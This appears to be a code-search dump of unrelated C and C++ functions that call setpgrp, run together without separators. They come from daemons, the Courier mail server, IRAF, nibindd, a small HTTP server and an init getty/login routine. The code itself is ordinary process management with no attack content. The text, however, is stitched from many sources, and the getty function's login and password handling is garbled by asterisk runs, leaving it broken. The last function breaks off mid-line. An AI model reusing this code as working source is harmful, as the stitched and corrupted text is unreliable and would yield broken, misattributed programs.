pid_t proc_run(struct privsep *ps, struct privsep_proc *p, struct privsep_proc *procs, u_int nproc, void (*init)(struct privsep *, struct privsep_proc *, void *), void *arg) { pid_t pid; struct passwd *pw; const char *root; struct control_sock *rcs; u_int n; if (ps->ps_noaction) return (0); proc_open(ps, p, procs, nproc); /* Fork child handlers */ switch (pid = fork()) { case -1: fatal("proc_run: cannot fork"); case 0: /* Set the process group of the current process */ setpgrp(0, getpid()); break; default: return (pid); } pw = ps->ps_pw; if (p->p_id == PROC_CONTROL && ps->ps_instance == 0) { if (control_init(ps, &ps->ps_csock) == -1) fatalx(p->p_title); TAILQ_FOREACH(rcs, &ps->ps_rcsocks, cs_entry) if (control_init(ps, rcs) == -1) fatalx(p->p_title); } /* Change root directory */ if (p->p_chroot != NULL) root = p->p_chroot; else root = pw->pw_dir; if (chroot(root) == -1) fatal("proc_run: chroot"); if (chdir("/") == -1) fatal("proc_run: chdir(\"/\")"); privsep_process = p->p_id; setproctitle("%s", p->p_title); if (setgroups(1, &pw->pw_gid) || setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) || setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid)) fatal("proc_run: cannot drop privileges"); /* Fork child handlers */ for (n = 1; n < ps->ps_instances[p->p_id]; n++) { if (fork() == 0) { ps->ps_instance = p->p_instance = n; break; } } #ifdef DEBUG log_debug("%s: %s %d/%d, pid %d", __func__, p->p_title, ps->ps_instance + 1, ps->ps_instances[p->p_id], getpid()); #endif event_init(); signal_set(&ps->ps_evsigint, SIGINT, proc_sig_handler, p); signal_set(&ps->ps_evsigterm, SIGTERM, proc_sig_handler, p); signal_set(&ps->ps_evsigchld, SIGCHLD, proc_sig_handler, p); signal_set(&ps->ps_evsighup, SIGHUP, proc_sig_handler, p); signal_set(&ps->ps_evsigpipe, SIGPIPE, proc_sig_handler, p); signal_set(&ps->ps_evsigusr1, SIGUSR1, proc_sig_handler, p); signal_add(&ps->ps_evsigint, NULL); signal_add(&ps->ps_evsigterm, NULL); signal_add(&ps->ps_evsigchld, NULL); signal_add(&ps->ps_evsighup, NULL); signal_add(&ps->ps_evsigpipe, NULL); signal_add(&ps->ps_evsigusr1, NULL); proc_listen(ps, procs, nproc); if (p->p_id == PROC_CONTROL && ps->ps_instance == 0) { TAILQ_INIT(&ctl_conns); if (control_listen(&ps->ps_csock) == -1) fatalx(p->p_title); TAILQ_FOREACH(rcs, &ps->ps_rcsocks, cs_entry) if (control_listen(rcs) == -1) fatalx(p->p_title); }
void daemonFrame() { pid_t currentPID; #if(1) currentPID = fork(); if (currentPID < 0) exit(EXIT_FAILURE); if (currentPID > 0) exit(EXIT_SUCCESS); if (setsid() < 0) exit(EXIT_FAILURE); #endif signal(SIGCHLD, SIG_IGN); signal(SIGHUP, SIG_IGN); signal(SIGQUIT, Handlers::fatalSignalHandler); signal(SIGILL, Handlers::fatalSignalHandler); signal(SIGTRAP, Handlers::fatalSignalHandler); signal(SIGABRT, Handlers::fatalSignalHandler); signal(SIGIOT, Handlers::fatalSignalHandler); signal(SIGBUS, Handlers::fatalSignalHandler); signal(SIGFPE, Handlers::fatalSignalHandler); signal(SIGSEGV, Handlers::fatalSignalHandler); signal(SIGSTKFLT, Handlers::fatalSignalHandler); signal(SIGCONT, Handlers::fatalSignalHandler); signal(SIGPWR, Handlers::fatalSignalHandler); signal(SIGSYS, Handlers::fatalSignalHandler); signal(SIGTERM, Handlers::terminationSignalHandler<ResponseManager>); #if(1) currentPID = fork(); if (currentPID < 0) exit(EXIT_FAILURE); if (currentPID > 0) exit(EXIT_SUCCESS); umask(0); chdir("/"); close(STDIN_FILENO); close(STDOUT_FILENO); close(STDERR_FILENO); int stdioStub = open("/dev/null", O_RDWR); dup(stdioStub); dup(stdioStub); setpgrp(); #endif SingleLogger* logger = SingleLogger::InitLogger(); std::string message("Daemon PID: " + std::to_string((getpid()))); logger->logMessage(SingleLogger::INFO, message.c_str()); logger->FreeLogger(); }
/* MAIN -- UNIX Main routine for IRAF processes. The process is a C process * to UNIX, even though nearly all the code is Fortran. The process main * determines whether the process is a connected subprocess, a detached * process, or a process spawned by the host system. We must set up the * process standard i/o channels then call the IRAF Main to complete process * initialization. Control returns when the IRAF Main shuts down the process * in response to a BYE request. The only other way a process can exit is * if a panic abort occurs. * * The following switches are recognized: * -C debug -c (IPC) protocol from a terminal * -c connected subprocess * -d bkgfile detached subprocess * -h host process (default) * -w permit writing into shared image (debugging) */ int main (int argc, char *argv[]) { XINT inchan=0, outchan=1; /* process stdin, stdout */ XINT errchan=2; /* process std error output */ XINT driver; /* EPA i/o chan device driver */ XINT devtype; /* device type (text or binary) */ XINT jobcode; /* bkg jobcode, if detached pr */ int errstat, len_irafcmd, nchars; XCHAR *irafcmd; char *ip; int arg = 1; extern int ZGETTX(), ZGETTY(), ZARDPR(), SYSRUK(), ONENTRY(); extern int ZZSTRT(), ZLOCPR(), ZZSETK(), IRAF_MAIN(); /* The following flag must be set before calling ZZSTRT. */ if (argc > 1 && strcmp (argv[arg], "-w") == 0) { sh_debug++; arg++; } ZZSTRT(); strcpy (os_process_name, argv[0]); strcpy ((char *)osfn_bkgfile, ""); /* Determine process type. If we were spawned by the host the TTY * driver is used regardless of whether the standard i/o device is * a tty or a file. Otherwise the IPC driver is used. If we are a * detached process the standard input is connected to /dev/null, * which will cause the IPC driver to return EOF if a task tries to * read from stdin. */ /* Default if no arguments (same as -h, or host process). */ prtype = PR_HOST; ZLOCPR (ZGETTY, &driver); devtype = TEXT_FILE; if (arg < argc) { if (strcmp (argv[arg], "-C") == 0) { ipc_isatty = 1; arg++; goto ipc_; } else if (strcmp (argv[arg], "-c") == 0) { /* Disable SIGINT so that child process does not die when the * parent process is interrupted. Parent sends SIGTERM to * interrupt a child process. */ signal (SIGINT, SIG_IGN); arg++; /* Check if we want IPC debug logging. */ if (getenv (LOGIPC)) { char fname[SZ_FNAME]; sprintf (fname, "%d.in", getpid()); ipc_in = creat (fname, 0644); sprintf (fname, "%d.out", getpid()); ipc_out = creat (fname, 0644); } ipc_: prtype = PR_CONNECTED; ZLOCPR (ZARDPR, &driver); devtype = BINARY_FILE; } else if (strcmp (argv[arg], "-d") == 0) { signal (SIGINT, SIG_IGN); signal (SIGTSTP, SIG_IGN); arg++; /* Put this background process in its own process group, * so that it will be unaffected by signals sent to the * parent's process group, and to prevent the detached process * from trying to read from the parent's terminal. * [Sun/IRAF Note - this is necessary to prevent SunView from * axeing bkg jobs when "Exit Suntools" is selected from the * root menu]. */ jobcode = getpid(); #if defined(SYSV) || (defined(MACH64) && defined(MACOSX) || defined(IPAD)) setpgrp (); #else setpgrp (0, jobcode); #endif freopen ("/dev/null", "r", stdin); prtype = PR_DETACHED; ZLOCPR (ZGETTX, &driver); devtype = TEXT_FILE; /* Copy the bkgfile to PKCHAR buffer to avoid the possibility * that argv[2] is not PKCHAR aligned. */ strcpy ((char *)osfn_bkgfile, argv[arg]); arg++; } else if (strcmp (argv[arg], "-h") == 0) { /* Default case. */ arg++; } } len_irafcmd = SZ_LINE; irafcmd = (XCHAR *) malloc (len_irafcmd * sizeof(XCHAR)); /* If there are any additional arguments on the command line pass * these on to the IRAF main as the IRAF command to be executed. */ if (arg < argc) { for (nchars=0; arg < argc; arg++) { while (nchars + strlen(argv[arg]) > len_irafcmd) { len_irafcmd += 1024; irafcmd = (XCHAR *) realloc ((char *)irafcmd, len_irafcmd * sizeof(XCHAR)); } for (ip=argv[arg]; (irafcmd[nchars] = *ip++); nchars++) ; irafcmd[nchars++] = ' '; } irafcmd[nchars?nchars-1:0] = XEOS; } else irafcmd[0] = XEOS; /* Pass some parameters into the kernel; avoid a global reference to * the actual external parmeters (which may be in a shared library * and hence inaccessible). */ ZZSETK (os_process_name, osfn_bkgfile, prtype, ipc_isatty, ipc_in, ipc_out); /* Call the IRAF Main, which does all the real work. Return status * OK when the main returns. The process can return an error status * code only in the event of a panic. */ errstat = IRAF_MAIN (irafcmd, &inchan, &outchan, &errchan, &driver, &devtype, &prtype, osfn_bkgfile, &jobcode, SYSRUK,ONENTRY); /* Normal process shutdown. Our only action is to delete the bkgfile * if run as a detached process (see also zpanic). */ if (prtype == PR_DETACHED) unlink ((char *)osfn_bkgfile); exit (errstat); return (0); }
int main(int argc, char **argv) { if (argc > 1 && strcmp(argv[1], "--version") == 0) { printf("%s\n", COURIER_COPYRIGHT); exit(0); } if (chdir(courierdir())) { perror("chdir"); return (1); } if (argc < 2) return (0); if (strcmp(argv[1], "stop") == 0) { int fd; trigger(TRIGGER_STOP); /* Wait until the exclusive lock goes away: */ signal(SIGHUP, SIG_DFL); if ((fd=open(TMPDIR "/courierd.lock", O_RDWR|O_CREAT, 0600)) < 0) clog_msg_errno(); alarm(15); /* But abort after 15 seconds. */ ll_lock_ex(fd); return (0); } if (strcmp(argv[1], "restart") == 0) { trigger(TRIGGER_RESTART); return (0); } if (strcmp(argv[1], "flush") == 0) { ino_t n; struct ctlfile ctf; if (getuid()) { /* ** We'll fail trying to open the pipe anyway, but let's ** give a meaningful error message now. */ fprintf(stderr, "courier flush can be executed only by the superuser.\n"); exit(1); } if (argc < 3) { trigger(TRIGGER_FLUSH); /* Everything */ exit(0); } if (comparseqid(argv[2], &n) == 0 && ctlfile_openi(n, &ctf, 1) == 0) { int c=ctlfile_searchfirst(&ctf, COMCTLFILE_MSGID); if (c >= 0 && strcmp(ctf.lines[c]+1, argv[2]) == 0) { char *s=courier_malloc(sizeof(TRIGGER_FLUSHMSG)+1+ strlen(argv[2])); strcat(strcat(strcpy(s, TRIGGER_FLUSHMSG), argv[2]), "\n"); trigger(s); ctlfile_close(&ctf); return (0); } ctlfile_close(&ctf); } fprintf(stderr, "No such message.\n"); exit(1); return (1); } /* Might as well... */ if (strcmp(argv[1], "start") == 0) { pid_t p; int waitstat; char dummy; /* ** Ok, courierd will close file descriptor 3 when it starts, so we ** put a pipe on there, and wait for it to close. */ int pipefd[2]; close(3); if (open("/dev/null", O_RDONLY) != 3 || pipe(pipefd)) { fprintf(stderr, "Cannot open pipe\n"); exit(1); } if (getuid()) { /* ** We'll fail trying to execute courierd anyway, but let's ** give a meaningful error message now. */ fprintf(stderr, "courier start can be executed only by the superuser.\n"); return (1); } signal(SIGCHLD, SIG_DFL); while ((p=fork()) == -1) { perror("fork"); sleep(10); } if (p == 0) { dup2(pipefd[1], 3); close(pipefd[1]); close(pipefd[0]); while ((p=fork()) == -1) { perror("fork"); sleep(10); } if (p == 0) { /* ** stdin from the bitbucket. stdout to ** /dev/null, or the bitbucket. */ signal(SIGHUP, SIG_IGN); close(0); open("/dev/null", O_RDWR); dup2(0, 1); dup2(0, 2); /* See if we can disconnect from the terminal */ #ifdef TIOCNOTTY { int fd=open("/dev/tty", O_RDWR); if (fd >= 0) { ioctl(fd, TIOCNOTTY, 0); close(fd); } } #endif /* Remove any process groups */ #if HAVE_SETPGRP #if SETPGRP_VOID setpgrp(); #else setpgrp(0, 0); #endif #endif execl( DATADIR "/courierctl.start", "courierctl.start", (char *)0); perror("exec"); _exit(1); } _exit(0); } close(pipefd[1]); while (wait(&waitstat) != p) ; if (read(pipefd[0], &dummy, 1) < 0) ; /* ignore */ close(pipefd[0]); close(3); return (0); } if (strcmp(argv[1], "clear") == 0 && argc > 2) { libmail_changeuidgid(MAILUID, MAILGID); if (strcmp(argv[2], "all") == 0) { courier_clear_all(); } else { track_save(argv[2], TRACK_ADDRACCEPTED); printf("%s cleared.\n", argv[2]); } return (0); } if (argc > 2 && strcmp(argv[1], "show") == 0 && strcmp(argv[2], "all") == 0) { libmail_changeuidgid(MAILUID, MAILGID); courier_show_all(); } return (0); }
int main(int argc, char *argv[]) { FILE *file; float a; pid_t pid; int pipe1[2]; int pipe2[2]; int i, ret; pid = getpid(); close(0); close(1); close(2); setpgrp(); unlink(OUTFILE); file = fopen(OUTFILE, "w+"); if (!file) { perror("open"); exit(1); } if (dup2(0,2) < 0) { perror("dup2"); exit(1); } a = sqrt(2.53 * (getpid() / 1.21)); if (pipe(pipe1) < 0 || pipe(pipe2)) { perror("pipe"); exit(1); } fprintf(file, "hello, world (%.2f)!\n", a); fflush(file); if (fork() < 0) { perror("fork"); exit(1); } if (pid == getpid()) { close(pipe1[0]); write(pipe1[1], &pid, sizeof(pid)); write(pipe1[1], &pid, sizeof(pid)); close(pipe2[0]); } else { close(pipe1[1]); close(pipe2[1]); } for (i = 0; i < 10; i++) { sleep(1); /* make the fpu work -> a = a + i/10 */ a = sqrt(a*a + 2*a*(i/10.0) + i*i/100.0); fprintf(file, "[%d] count %d (%.2f)!\n", getpid(), i, a); fflush(file); } if (pid == getpid()) { close(pipe1[1]); close(pipe2[1]); } else { ret = read(pipe1[0], &i, sizeof(pid)); fprintf(file, "[%d] read pid %d (ret %d)\n", pid, i, ret); ret = read(pipe1[0], &i, sizeof(pid)); fprintf(file, "[%d] read pid %d (ret %d)\n", pid, i, ret); close(pipe1[0]); close(pipe2[0]); } fprintf(file, "[pid %d] world, hello (%.2f) !\n", getpid(), a); fflush(file); return 0; }
void UnistdSetpgrp(struct ParseState *Parser, struct Value *ReturnValue, struct Value **Param, int NumArgs) { ReturnValue->Val->Integer = setpgrp(); }
int main(int argc, char **argv) { int i, port, pid, listenfd, socketfd, hit; size_t length; static struct sockaddr_in cli_addr; static struct sockaddr_in serv_addr; (void)printf("Programe starting\n"); if( argc < 3 || argc > 3 || !strcmp(argv[1], "-?") ) { (void)printf("usage: server [port] [server directory] &" "\tExample: server 80 ./ &\n\n" "\tOnly Supports:"); for(i=0;extensions[i].ext != 0;i++) (void)printf(" %s",extensions[i].ext); (void)printf("\n\tNot Supported: directories / /etc /bin /lib /tmp /usr /dev /sbin \n" ); exit(0); } if( !strncmp(argv[2],"/" ,2 ) || !strncmp(argv[2],"/etc", 5 ) || !strncmp(argv[2],"/bin",5 ) || !strncmp(argv[2],"/lib", 5 ) || !strncmp(argv[2],"/tmp",5 ) || !strncmp(argv[2],"/usr", 5 ) || !strncmp(argv[2],"/dev",5 ) || !strncmp(argv[2],"/sbin",6) ){ (void)printf("ERROR: Bad top directory %s, see server -?\n",argv[2]); exit(3); } if(chdir(argv[2]) == -1){ (void)printf("ERROR: Can't Change to directory %s\n",argv[2]); exit(4); } if(fork() != 0) return 0; (void)signal(SIGCHLD, SIG_IGN); (void)signal(SIGHUP, SIG_IGN); for(i=0;i<32;i++) (void)close(i); (void)setpgrp(); log(LOG,"http server starting",argv[1],getpid()); if((listenfd = socket(AF_INET, SOCK_STREAM,0)) <0) log(ERROR, "system call","socket",0); port = atoi(argv[1]); if(port < 0 || port >60000) log(ERROR,"Invalid port number try [1,60000]",argv[1],0); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(port); if(bind(listenfd, (struct sockaddr *)&serv_addr,sizeof(serv_addr)) <0) log(ERROR,"system call","bind",0); if( listen(listenfd,64) <0) log(ERROR,"system call","listen",0); for(hit=1; ;hit++) { length = sizeof(cli_addr); if((socketfd = accept(listenfd, (struct sockaddr *)&cli_addr, &length)) < 0) log(ERROR,"system call","accept",0); if((pid = fork()) < 0) { log(ERROR,"system call","fork",0); } else { if(pid == 0) { (void)close(listenfd); web(socketfd,hit); } else { (void)close(socketfd); } } } }
static char* start_app(app_t* app) { char* wd = app->wd, *prog = app->prog; int id = app->id; SWI_LOG("APPMON", DEBUG, "start_app, id=%d, wd=%s; prog=%s\n", id, wd, prog); char * res = check_params(wd, prog); if (res) //check param errors return res; pid_t child_pid = fork(); if (-1 == child_pid) { perror("start_app"); res = "Fork error, cannot create new process"; SWI_LOG("APPMON", ERROR, "%s\n", res); return res; } if (0 == child_pid) { //in child // close inherited stuff // note: sig handlers are reset close(srv_skt); close(client_skt); //child will actually run the application if (-1 == chdir(wd)) { perror("cannot change working dir: chdir error"); exit(EXIT_FAILURE); } setpgrp(); //equivalent to setpgrp(0, 0). //the point is that the child process is getting its own process group id, and becomes this process group leader //then on stop() daemon will send TERM signal to the process group of the child so that all children of this command will receive this signal. //so that all children of the application are killed too. //TODO: check if using setsid() can do the same thing, setsid might be more POSIX friendly (setpgrp() is indicated System V) SWI_LOG("APPMON", DEBUG, "Child: id= %d, pid=%d, process group id set to = %d\n", id, getpid(), getpgrp()); //change uid/gid/priority if necessary if (!app->privileged) { umask(S_IWOTH); //umask man reports that umask always succeeds... //SWI_LOG("APPMON", ERROR,"Failed to set umask") //may call error set_uid_gids(uid, gid, id); if (INT_MAX != app_priority) { //compute nice increment to give to nice int current_priority = getpriority(PRIO_PROCESS, 0); int nice_inc = app_priority - current_priority; //see nice man page, need to test errno manually errno = 0; int res = nice(nice_inc); if (errno) { SWI_LOG("APPMON", ERROR, "Child: id= %d, error while doing nice failed :%s, target priority was: %d, starting app with priority =%d\n", id, strerror(errno), app_priority, getpriority(PRIO_PROCESS, 0)); } else { if (res != app_priority) SWI_LOG("APPMON", ERROR, "Child: id= %d, nice failed : new priority=%d\n", id, res); else SWI_LOG("APPMON", DEBUG, "Child: id= %d, new priority=%d\n", id, res); } } } else //privileged app { set_uid_gids(puid, pgid, id); //no process priority change for privileged app } SWI_LOG("APPMON", DEBUG, "Child: id= %d, running with uid=%d gid=%d, eff uid=%d\n", id, getuid(), getgid(), geteuid()); char* const argv[] = { prog, NULL }; execvp(prog, argv); perror(""); SWI_LOG("APPMON", ERROR, "Child: execvp has returned, error must have occurred\n"); exit(EXIT_FAILURE); } //in daemon: everything is ok, update app infos. app->status = STARTED; app->pid = child_pid; app->start_count++; return "ok"; }
int main(int argc, char **argv) { struct moduledel *p; clog_open_syslog("courierlocal"); if (chdir(courier_home=getenv("COURIER_HOME"))) clog_msg_errno(); if (atol(getenv("MAXRCPT")) > 1) { clog_msg_start_err(); clog_msg_str("Invalid configuration in config, set MAXRCPT=1"); clog_msg_send(); exit(1); } module_init(0); module_delivery_timeout(config_readtime("localtimeout", 15*60)); while ((p=module_getdel()) != NULL) { unsigned delid=atol(p->delid); unsigned rcptnum; struct ctlfile ctf; int pipe1[2], pipe2[2]; pid_t pid; int datfd; struct stat stat_buf; pid=module_fork(delid, 0); if (pid < 0) { clog_msg_prerrno(); module_completed(delid, delid); continue; } if (pid) continue; #if HAVE_SETPGRP #if SETPGRP_VOID setpgrp(); #else setpgrp(0, 0); #endif #endif if (p->nreceipients != 1) { clog_msg_start_err(); clog_msg_str("Invalid message from courierd."); clog_msg_send(); _exit(0); } rcptnum=atol(p->receipients[0]); if (ctlfile_openi(p->inum, &ctf, 0)) { clog_msg_errno(); _exit(0); } if (pipe(pipe1) < 0 || pipe(pipe2) < 0 || (pid=fork()) < 0) { clog_msg_prerrno(); ctlfile_append_reply(&ctf, rcptnum, "Can't run courierdeliver.", COMCTLFILE_DELDEFERRED, 0); ctlfile_close(&ctf); _exit(0); return (0); } if ((datfd=open(qmsgsdatname(p->inum), O_RDONLY)) < 0) { clog_msg_prerrno(); ctlfile_append_reply(&ctf, rcptnum, "Unable to read message file.", COMCTLFILE_DELDEFERRED, 0); ctlfile_close(&ctf); _exit(0); return (0); } if (pid == 0) { const char *host, *homedir, *maildir, *quota; char *buf, *s; char *username, *ext; uid_t u; gid_t g; close(pipe1[0]); close(pipe2[0]); dup2(pipe2[1], 2); close(pipe2[1]); dup2(pipe1[1], 1); close(pipe1[1]); close(0); if (dup(datfd) != 0) { clog_msg_start_err(); clog_msg_str("Unable to read message file."); clog_msg_send(); _exit(EX_TEMPFAIL); } close(ctf.fd); close(datfd); /* Contents of host: */ /* acct!ext!uid!gid!homedir!maildir!quota */ host=p->host; buf=strdup(host); if (!buf) { clog_msg_prerrno(); _exit(EX_TEMPFAIL); } s=strchr(buf, '!'); username=buf; if (s) *s++=0; ext=s; if (s) s=strchr(s, '!'); if (s) *s++=0; u=0; while (s && *s != '!') { if (isdigit((int)(unsigned char)*s)) u=u*10 + (*s - '0'); ++s; } if (s) *s++=0; g=0; while (s && *s != '!') { if (isdigit((int)(unsigned char)*s)) g=g*10 + (*s - '0'); ++s; } if (s) *s++=0; homedir=s; if (s) s=strchr(s, '!'); if (s) *s++=0; maildir=s; if (s) s=strchr(s, '!'); if (s) *s++=0; quota=s; if (!s) { clog_msg_start_err(); clog_msg_str("Invalid local recipient address."); clog_msg_send(); _exit(EX_TEMPFAIL); } if (chdir(homedir)) { clog_msg_str(homedir); clog_msg_str(": "); clog_msg_prerrno(); _exit(EX_TEMPFAIL); } libmail_changeuidgid(u, g); execl( MODULEDIR "/local/courierdeliver", "courierdeliver", username, homedir, ext, ctf.receipients[rcptnum], verp_getsender(&ctf, ctf.receipients[rcptnum]), quota, maildir, (const char *)0); clog_msg_start_err(); clog_msg_prerrno(); clog_msg_send(); _exit(EX_TEMPFAIL); } close(pipe1[1]); close(pipe2[1]); libmail_changeuidgid(MAILUID, MAILGID); if (fstat(datfd, &stat_buf) == 0) ctf.msgsize=stat_buf.st_size; close(datfd); wait_delivery(pid, &ctf, rcptnum, pipe2[0], pipe1[0], p->host, p->receipients[1]); ctlfile_close(&ctf); _exit(0); } return (0); }
int main(int argc, char *argv[]) { SVCXPRT *utransp, *ttransp; struct sockaddr_in addr; DIR *dp; struct direct *d; ni_name tag = NULL; ni_namelist nl; ni_index i; int pid, localonly, nctoken = -1; int log_pri = LOG_NOTICE; struct rlimit rlim; char *netinfod_argv[16]; /* XXX */ int netinfod_argc, x; union wait wait_stat; pid_t child_pid; char *pri; #ifdef _UNIX_BSD_43_ int ttyfd; #endif localonly = 1; netinfod_argc = 0; netinfod_argv[netinfod_argc++] = (char *)NETINFO_PROG; debug = 0; for (i = 1; i < argc; i++) { if (!strcmp(argv[i], "-n")) { netinfod_argv[netinfod_argc++] = argv[i]; } if (!strcmp(argv[i], "-d")) { debug = 1; log_pri = LOG_DEBUG; if ((argc > (i+1)) && (argv[i+1][0] != '-')) debug = atoi(argv[++i]); } if (!strcmp(argv[i], "-l")) { if ((argc > (i+1)) && (argv[i+1][0] != '-')) log_pri = atoi(argv[++i]); } if (!strcmp(argv[i], "-D")) { netinfod_argv[netinfod_argc++] = "-d"; if ((argc > (i+1)) && (argv[i+1][0] != '-')) { netinfod_argv[netinfod_argc++] = argv[i]; } } if (!strcmp(argv[i], "-L")) { netinfod_argv[netinfod_argc++] = "-l"; if ((argc > (i+1)) && (argv[i+1][0] != '-')) { netinfod_argv[netinfod_argc++] = argv[i]; } else { pri = malloc(sizeof("999")); sprintf(pri, "%d", LOG_DEBUG); netinfod_argv[netinfod_argc++] = pri; } } } if (debug == 1) { system_log_open("nibindd", LOG_NDELAY | LOG_PID, LOG_NETINFO, stderr); system_log_set_max_priority(log_pri); system_log(LOG_DEBUG, "version %s - debug mode\n", _PROJECT_VERSION_); } else { closeall(); system_log_open("nibindd", LOG_NDELAY | LOG_PID, LOG_NETINFO, NULL); system_log_set_max_priority(log_pri); system_log(LOG_DEBUG, "version %s - starting\n", _PROJECT_VERSION_); child_pid = fork(); if (child_pid == -1) { system_log(LOG_ALERT, "fork() failed: %m, aborting"); system_log_close(); exit(1); } else if (child_pid > 0) { signal(SIGTERM, parentexit); system_log(LOG_DEBUG, "parent waiting for child to start"); wait4(child_pid, (_WAIT_TYPE_ *)&wait_stat, 0, 0); if (WIFEXITED(wait_stat)) { system_log(LOG_DEBUG, "unexpected child exit, status=%d", WEXITSTATUS(wait_stat)); } else { system_log(LOG_DEBUG, "unexpected child exit, received signal=%d", WTERMSIG(wait_stat)); } system_log_close(); exit(1); } } restart = 0; rlim.rlim_cur = rlim.rlim_max = RLIM_INFINITY; setrlimit(RLIMIT_CORE, &rlim); signal(SIGCHLD, catchchild); signal(SIGTERM, killchildren); signal(SIGHUP, catchhup); signal(SIGINT, SIG_IGN); notify_register_signal(NETWORK_CHANGE_NOTIFICATION, SIGHUP, &nctoken); writepid(); /* * cd to netinfo directory, find out which databases should * be served and lock the directory before registering service. */ if (chdir(NETINFO_DIR) < 0) { killparent(); system_log(LOG_ALERT, "cannot chdir to netinfo directory"); exit(1); } dp = opendir(NETINFO_DIR); if (dp == NULL) { killparent(); system_log(LOG_ALERT, "cannot open netinfo directory"); exit(1); } MM_ZERO(&nl); while ((d = readdir(dp))) { if (isnidir(d->d_name, &tag)) { if (ni_namelist_match(nl, tag) == NI_INDEX_NULL) { system_log(LOG_DEBUG, "found database: %s", tag); ni_namelist_insert(&nl, tag, NI_INDEX_NULL); if (strcmp(tag, "local")) localonly = 0; } ni_name_free(&tag); } } #ifdef _NETINFO_FLOCK_ /* * Do not close the directory: keep it locked so another nibindd * won't run. */ if (flock(dp->dd_fd, LOCK_EX|LOCK_NB) < 0) { killparent(); system_log(LOG_ALERT, "nibindd already running"); exit(1); } fcntl(dp->dd_fd, F_SETFD, 1); #else closedir(dp); #endif /* * Register as a SUNRPC service */ memset(&addr, 0, sizeof(struct sockaddr_in)); addr.sin_family = AF_INET; if (localonly == 1) addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); pmap_unset(NIBIND_PROG, NIBIND_VERS); utransp = svcudp_bind(RPC_ANYSOCK, addr); if (utransp == NULL) { killparent(); system_log(LOG_ALERT, "cannot start udp service"); exit(1); } if (!svc_register(utransp, NIBIND_PROG, NIBIND_VERS, nibind_prog_1, IPPROTO_UDP)) { killparent(); system_log(LOG_ALERT, "cannot register udp service"); exit(1); } udp_sock = utransp->xp_sock; ttransp = svctcp_bind(RPC_ANYSOCK, addr, 0, 0); if (ttransp == NULL) { killparent(); system_log(LOG_ALERT, "cannot start tcp service"); exit(1); } if (!svc_register(ttransp, NIBIND_PROG, NIBIND_VERS, nibind_prog_1, IPPROTO_TCP)) { killparent(); system_log(LOG_ALERT, "cannot register tcp service"); exit(1); } waitreg = 0; for (i = 0; i < nl.ninl_len; i++) { netinfod_argv[netinfod_argc] = nl.ninl_val[i]; netinfod_argv[netinfod_argc + 1] = NULL; system_log(LOG_DEBUG, "starting netinfod %s", nl.ninl_val[i]); system_log(LOG_DEBUG, "execv debug 0: %s", NETINFO_PROG); for (x = 0; netinfod_argv[x] != NULL; x++) { system_log(LOG_DEBUG, "execv debug %d: %s", x, netinfod_argv[x]); } pid = fork(); if (pid == 0) { /* child */ execv(NETINFO_PROG, netinfod_argv); exit(-1); } #ifdef DEBUG system_log(LOG_DEBUG, "netinfod %s pid = %d", nl.ninl_val[i], pid); #endif if (pid > 0) { waitreg++; storepid(pid, nl.ninl_val[i]); } else { system_log(LOG_ERR, "server for tag %s failed to start", nl.ninl_val[i]); } } ni_namelist_free(&nl); /* * Detach from controlling tty. * Do this AFTER starting netinfod so "type c to continue..." works. */ #ifdef _UNIX_BSD_43_ ttyfd = open("/dev/tty", O_RDWR, 0); if (ttyfd > 0) { ioctl(ttyfd, TIOCNOTTY, NULL); close(ttyfd); } setpgrp(0, getpid()); #else if (setsid() < 0) syslog(LOG_ERR, "nibindd: setsid() failed: %m"); #endif system_log(LOG_DEBUG, "starting RPC service"); nibind_svc_run(); system_log(LOG_ALERT, "svc_run returned"); system_log_close(); exit(1); }
/* * Internal implementation of "getty" and "login" */ static pid_t getty(const char *ttyname, const char *id) { int fdtty, pid; struct passwd *pwd; const char *pr; char *p, buf[50], salt[3]; char hn[64]; gethostname(hn, sizeof(hn)); for (;;) { pid = fork(); if (pid == -1) { putstr("init: can't fork\n"); } else { if (pid != 0) /* parent's context: return pid of the child process */ return pid; close(0); close(1); close(2); setpgrp(); setpgid(0,0); /* Throw all the init working spacd we inherited */ brk_warn(membase); fdtty = open(ttyname, O_RDWR); if (fdtty < 0) return -1; /* here we are inside child's context of execution */ envset("PATH", "/bin:/usr/bin"); envset("CTTY", ttyname); /* make stdin, stdout and stderr point to fdtty */ dup(fdtty); dup(fdtty); ut.ut_type = INIT_PROCESS; ut.ut_pid = getpid(); ut.ut_id[0] = id[0]; ut.ut_id[1] = id[1]; pututline(&ut); /* display the /etc/issue file, if exists */ showfile("/etc/issue"); if (*hn) { putstr(hn); putstr(" "); } /* loop until a valid user name is entered * and a shell is spawned */ for (;;) { putstr("login: "******"Password: "******""; } if (strcmp(pr, pwd->pw_passwd) == 0) spawn_login(pwd, ttyname, id); } putstr("\nLogin incorrect\n\n"); signal(SIGALRM, sigalarm); alarm(2); pause(); } } } }
/*----------------------------------------------------------------------------*/ main(int argc, char* argv[]) /*----------------------------------------------------------------------------*/ { BOOL flag = TRUE; if (flag) { /* * 기본 처리 */ sProgName = argv[0]; if (argc < 2) { /* * USAGE */ printf("ERROR : Invalid argument... (Usage : %s SERVICE_NAME)\n", sProgName); exit(0); } if (strcmp(argv[1], "-v") == 0 || strcmp(argv[1], "-ver") == 0) { /* * VERSION */ printf("Program : [%s], Version : %s\n", sProgName, VERSION); exit(0); } } if (flag) { /* * 프로세스에서 사용하는 서비스명과 FEPID를 얻는다. */ if (isupper(argv[1][0])) { iForkFlag = 1; } else { iForkFlag = 0; } UtilToUpper(argv[1]); sprintf(sServiceid, "%-10.10s", argv[1]); sprintf(sFepid, "%-5.5s", sServiceid + 3); if (flag) printf("\x1b[44m< %s %s %s >\x1b[0m\n", sProgName, sServiceid, sFepid); } if (flag) { /* * master 환경파일을 읽는다. biz.properties 파일도 읽는다. */ if (CfgMaster() < 0) { printf("ERROR : get config....\n"); exit(9); } CfgBxa(); if (!flag) { printf("CfgGetMaster [%s]\n", CfgGetMaster("ib.version")); printf("CfgGetMaster [%s]\n", CfgGetMaster("ib.serialkey")); printf("CfgGetMaster [%s]\n", CfgGetMaster("ib.author")); printf("CfgGetMaster [%s]\n", CfgGetMaster("ib.company")); printf("CfgGetBiz [%s]\n", CfgGetBiz("RUN_SCRIPT")); printf("CfgGetBxa [%s]\n", CfgGetBxa("ORG_DESC")); printf("CfgGetBxa [%s]\n", 